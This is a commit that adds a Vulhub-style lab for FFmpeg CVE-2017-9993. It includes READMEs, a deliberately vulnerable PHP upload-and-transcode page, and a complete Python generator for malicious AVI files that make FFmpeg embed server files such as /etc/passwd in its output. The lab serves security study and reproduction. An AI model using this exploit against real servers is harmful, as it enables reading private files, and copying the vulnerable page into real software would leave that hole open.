first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
ffmpeg/CVE-2017-9993/1.png
Normal file
BIN
ffmpeg/CVE-2017-9993/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 45 KiB |
44
ffmpeg/CVE-2017-9993/README.md
Normal file
44
ffmpeg/CVE-2017-9993/README.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# FFmpeg AVI Arbitrary File Read (CVE-2017-9993)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
FFmpeg is a free and open-source software project consisting of a suite of libraries and programs for handling video, audio, and other multimedia files and streams.
|
||||
|
||||
FFmpeg 2.4.x before 2.4.14, 2.8.x before 2.8.12, 3.0.x before 3.0.9, 3.1.x before 3.1.9, 3.2.x before 3.2.6, and 3.3.x before 3.3.2 does not properly restrict HTTP Live Streaming filename extensions and demuxer names, which allows attackers to read arbitrary files via crafted playlist data.
|
||||
|
||||
This issue was featured in PHDays conference 2017, and it is actually an incomplete fix for [CVE-2016-1897](../CVE-2016-1897/). FFmpeg officially patched file reading and SSRF vulnerabilities in m3u playlists. However, by crafting malicious AVI files, similar vulnerabilities still exist in the playlist, leading to CVE-2017-9993.
|
||||
|
||||
References:
|
||||
|
||||
- <https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/>
|
||||
- <https://github.com/neex/ffmpeg-avi-m3u-xbin>
|
||||
- <https://www.anquanke.com/post/id/86337>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following commands to build and start the environment:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server starts, it will listen on port 8080. Visit `http://your-ip:8080/` to access the application, the application is a simple video player that allows users to upload and play videos.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
First, download the exploit tool and generate a malicious payload:
|
||||
|
||||
```bash
|
||||
# Clone the exploit repository
|
||||
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
|
||||
cd ffmpeg-avi-m3u-xbin
|
||||
|
||||
# Generate payload
|
||||
./gen_xbin_avi.py file:///etc/passwd exp.avi
|
||||
```
|
||||
|
||||
Upload the generated `exp.avi` file at `http://your-ip:8080/`. The backend will attempt to transcode your uploaded video using FFmpeg. During this process, due to the arbitrary file read vulnerability, the file content will be embedded in the transcoded video:
|
||||
|
||||

|
||||
|
||||
You can also execute `docker compose exec web bash` to enter the environment and test FFmpeg directly.
|
42
ffmpeg/CVE-2017-9993/README.zh-cn.md
Normal file
42
ffmpeg/CVE-2017-9993/README.zh-cn.md
Normal file
@@ -0,0 +1,42 @@
|
||||
# FFmpeg AVI 任意文件读取漏洞
|
||||
|
||||
FFmpeg 是一个开源的跨平台多媒体框架,提供了处理视频、音频和多媒体文件的功能。
|
||||
|
||||
FFmpeg 2.4.14, 2.8.12, 3.0.9, 3.1.9, 3.2.6, 3.3.2 版本之前,未正确限制 HTTP Live Streaming 文件名扩展和解复用器名称,允许攻击者通过精心构造的视频文件来读取服务器上的任意文件。
|
||||
|
||||
这个漏洞首次在PHDays 2017会议中被提出,它实际上是[CVE-2016-1897](../CVE-2016-1897/)的不完整修复导致的。FFmpeg官方修复了m3u播放列表中的文件读取和SSRF漏洞,但攻击者通过构造恶意的AVI文件,类似的漏洞仍然存在于其播放列表中,这导致了CVE-2017-9993。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/>
|
||||
- <https://github.com/neex/ffmpeg-avi-m3u-xbin>
|
||||
- <https://www.anquanke.com/post/id/86337>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个包含了FFmpeg 3.2.4的环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后将监听8080端口,访问`http://your-ip:8080/`即可查看应用,应用是一个简单的视频播放器,允许用户上传和播放视频。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
首先,下载漏洞利用工具并生成恶意payload:
|
||||
|
||||
```bash
|
||||
# 克隆漏洞利用仓库
|
||||
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
|
||||
cd ffmpeg-avi-m3u-xbin
|
||||
|
||||
# 生成payload
|
||||
./gen_xbin_avi.py file:///etc/passwd exp.avi
|
||||
```
|
||||
|
||||
在`http://your-ip:8080/`上传生成的`exp.avi`文件。后端将使用FFmpeg对上传的视频进行转码,在转码过程中,由于FFmpeg的任意文件读取漏洞,文件内容将被嵌入到转码后的视频中:
|
||||
|
||||

|
||||
|
||||
你也可以执行`docker compose exec web bash`进入环境内部,直接测试FFmpeg。
|
8
ffmpeg/CVE-2017-9993/docker-compose.yml
Normal file
8
ffmpeg/CVE-2017-9993/docker-compose.yml
Normal file
@@ -0,0 +1,8 @@
|
||||
services:
|
||||
web:
|
||||
image: vulhub/ffmpeg:3.2.4-with-php
|
||||
command: php -S 0.0.0.0:8080 -t /var/www/html
|
||||
volumes:
|
||||
- ./www/index.php:/var/www/html/index.php
|
||||
ports:
|
||||
- "8080:8080"
|
150
ffmpeg/CVE-2017-9993/gen_xbin_avi.py
Normal file
150
ffmpeg/CVE-2017-9993/gen_xbin_avi.py
Normal file
@@ -0,0 +1,150 @@
|
||||
#!/usr/bin/env python3
|
||||
import struct
|
||||
import argparse
|
||||
import random
|
||||
import string
|
||||
|
||||
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
|
||||
|
||||
ECHO_TEMPLATE = """### echoing {needed!r}
|
||||
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
|
||||
#EXTINF:1,
|
||||
#EXT-X-BYTERANGE: 16
|
||||
/dev/zero
|
||||
#EXT-X-KEY: METHOD=NONE
|
||||
"""
|
||||
|
||||
# AES.new('\x00'*16).decrypt('\x00'*16)
|
||||
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
|
||||
|
||||
FULL_PLAYLIST = """#EXTM3U
|
||||
#EXT-X-MEDIA-SEQUENCE:0
|
||||
{content}
|
||||
#### random string to prevent caching: {rand}
|
||||
#EXT-X-ENDLIST"""
|
||||
|
||||
EXTERNAL_REFERENCE_PLAYLIST = """
|
||||
|
||||
#### External reference: reading {size} bytes from {filename} (offset {offset})
|
||||
#EXTINF:1,
|
||||
#EXT-X-BYTERANGE: {size}@{offset}
|
||||
{filename}
|
||||
|
||||
|
||||
"""
|
||||
|
||||
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
|
||||
|
||||
|
||||
def echo_block(block):
|
||||
assert len(block) == 16
|
||||
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
|
||||
return ECHO_TEMPLATE.format(needed=block, iv=iv)
|
||||
|
||||
|
||||
def gen_xbin_sync():
|
||||
seq = []
|
||||
for i in range(60):
|
||||
if i % 2:
|
||||
seq.append(0)
|
||||
else:
|
||||
seq.append(128 + 64 - i - 1)
|
||||
for i in range(4, 0, -1):
|
||||
seq.append(128 + i - 1)
|
||||
seq.append(0)
|
||||
seq.append(0)
|
||||
for i in range(12, 0, -1):
|
||||
seq.append(128 + i - 1)
|
||||
seq.append(0)
|
||||
seq.append(0)
|
||||
return seq
|
||||
|
||||
|
||||
def test_xbin_sync(seq):
|
||||
for start_ind in range(64):
|
||||
path = [start_ind]
|
||||
cur_ind = start_ind
|
||||
while cur_ind < len(seq):
|
||||
if seq[cur_ind] == 0:
|
||||
cur_ind += 3
|
||||
else:
|
||||
assert seq[cur_ind] & (64 + 128) == 128
|
||||
cur_ind += (seq[cur_ind] & 63) + 3
|
||||
path.append(cur_ind)
|
||||
assert cur_ind == len(seq), "problem for path {}".format(path)
|
||||
|
||||
|
||||
def echo_seq(s):
|
||||
assert len(s) % 16 == 0
|
||||
res = []
|
||||
for i in range(0, len(s), 16):
|
||||
res.append(echo_block(s[i:i + 16]))
|
||||
return ''.join(res)
|
||||
|
||||
|
||||
test_xbin_sync(gen_xbin_sync())
|
||||
|
||||
SYNC = echo_seq(gen_xbin_sync())
|
||||
|
||||
|
||||
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
|
||||
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
|
||||
packet = b'00tx' + struct.pack('<I', len(content)) + content
|
||||
dcpkt = b'00dc' + struct.pack('<I',
|
||||
fake_packet_len) + b'\x00' * fake_packet_len
|
||||
return AVI_HEADER + packet + dcpkt * fake_packets
|
||||
|
||||
|
||||
def gen_xbin_packet_header(size):
|
||||
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
|
||||
|
||||
|
||||
def gen_xbin_packet_playlist(filename, offset, packet_size):
|
||||
result = []
|
||||
while packet_size > 0:
|
||||
packet_size -= 16
|
||||
assert packet_size > 0
|
||||
part_size = min(packet_size, 64)
|
||||
packet_size -= part_size
|
||||
result.append(echo_block(gen_xbin_packet_header(part_size)))
|
||||
result.append(
|
||||
EXTERNAL_REFERENCE_PLAYLIST.format(
|
||||
size=part_size,
|
||||
offset=offset,
|
||||
filename=filename))
|
||||
offset += part_size
|
||||
return ''.join(result), offset
|
||||
|
||||
|
||||
def gen_xbin_playlist(filename_to_read):
|
||||
pls = [echo_block(XBIN_HEADER)]
|
||||
next_delta = 5
|
||||
for max_offs, filename in (
|
||||
(5000, filename_to_read), (500, "file:///dev/zero")):
|
||||
offset = 0
|
||||
while offset < max_offs:
|
||||
for _ in range(10):
|
||||
pls_part, new_offset = gen_xbin_packet_playlist(
|
||||
filename, offset, 0xf0 - next_delta)
|
||||
pls.append(pls_part)
|
||||
next_delta = 0
|
||||
offset = new_offset
|
||||
pls.append(SYNC)
|
||||
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
|
||||
random.choice(string.ascii_lowercase) for i in range(30)))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
|
||||
parser.add_argument(
|
||||
'filename',
|
||||
help='filename to be read from the server (prefix it with "file://")')
|
||||
parser.add_argument('output_avi', help='where to save the avi')
|
||||
args = parser.parse_args()
|
||||
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
|
||||
content = gen_xbin_playlist(args.filename)
|
||||
avi = make_playlist_avi(content)
|
||||
output_name = args.output_avi
|
||||
|
||||
with open(output_name, 'wb') as f:
|
||||
f.write(avi)
|
24
ffmpeg/CVE-2017-9993/www/index.php
Normal file
24
ffmpeg/CVE-2017-9993/www/index.php
Normal file
@@ -0,0 +1,24 @@
|
||||
<?php
|
||||
if(!empty($_FILES)) {
|
||||
$filename = escapeshellarg($_FILES['file']['tmp_name']);
|
||||
$newname = './' . uniqid() . '.mp4';
|
||||
shell_exec("ffmpeg -i $filename $newname");
|
||||
}
|
||||
?>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Video Player</title>
|
||||
</head>
|
||||
<body>
|
||||
<?php if(!empty($_FILES)): ?>
|
||||
<div>
|
||||
<video src="<?=$newname?>" controls="controls" width="640" height="480"></video>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
<form method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="file">
|
||||
<input type="submit" value="Submit">
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
Reference in New Issue
Block a user